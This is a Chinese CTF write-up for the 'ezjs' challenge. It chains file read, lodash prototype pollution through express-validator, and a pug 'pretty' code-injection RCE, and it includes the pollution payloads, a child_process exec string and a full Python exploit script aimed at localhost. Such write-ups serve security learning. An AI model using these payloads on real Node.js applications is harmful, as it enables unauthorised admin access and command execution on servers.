ezjs
随便登录进去,发现有任意文件读取。
任意文件读取
发现是express项目,先把package.json
搞出来,然后根据内容./bin/www.js
搞出来
剩下的看着提出来。
lodash的原型链污染
发现项目使用了express-validator
和 lodash<4.7.17
,有原型链污染攻击,
并且在./routes/index.js
(/admin)中发现了如下代码,目标比较明确,
需要把isadmin
污染成不等于notadmin
以及debug
污染成随便一个玩意,同时要提交一个参数p,使用pug的rce漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13
| var validator = [ body('*').trim(), body('username').if(body('username').exists()).isLength({min: 5}) .withMessage("username is too short"), body('password').if(body('password').exists()).isLength({min: 5}) .withMessage("password is too short"),(req, res, next) => { const errors = validationResult(req) if (!errors.isEmpty()) { return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg}); } next() } ];
|
关于lodash的原型链污染已经是老生常谈的事情了,在XNUCA中就出现过,
参考
XNUCA2020Qualifier
paper.seebug.org
有了body('*').trim()
,使用express-validator
做参数过滤,可以污染。
但是有一点不太一样,本题没有用json,所以还是不太一样的。
但是可以使用该处的污染为空值,就绕过了。
payload
1 2 3 4 5 6
| { "username":'ruaruaruaruaruarua', "password":'ruaruaruaruaruarua', '"].__proto__["isadmin': 'rua', '"].__proto__["debug': 'rua', }
|
PUG的pretty未经处理导致RCE
跟进pretty
,在 pug-code-gen
中发现。
继续跟进,在 visitMixinBlock
中发现没有经过任何处理直接拼接字符串。
同样,在 visitMixin
中也有
可以进行一个使用引号拼接字符串,
1
| ');return global.process.mainModule.constructor._load('child_process').exec('cat /root/flag.txt');_=('
|
到此RCE结束。
最后的最后,附上我的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests
url = "http://localhost:8888"
session.post(url+'/login',data={ "username":'ruaruaruaruaruarua', "password":'ruaruaruaruaruarua', '"].__proto__["isadmin': 'rua', '"].__proto__["debug': 'rua', }) r = session.get(url+'/admin',params={ "p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('" }) print(r.text)
|
总结
比较可惜吧,原型链污染到了但是由于没有发现pug的这个rce洞导致这题没做出来。
实际上真挺蠢的,当时读文件的时候直接读了package.json
,pug的版本不对,审计了半天源码发现毛漏洞都没有
长记性了,下次直接package-lock.json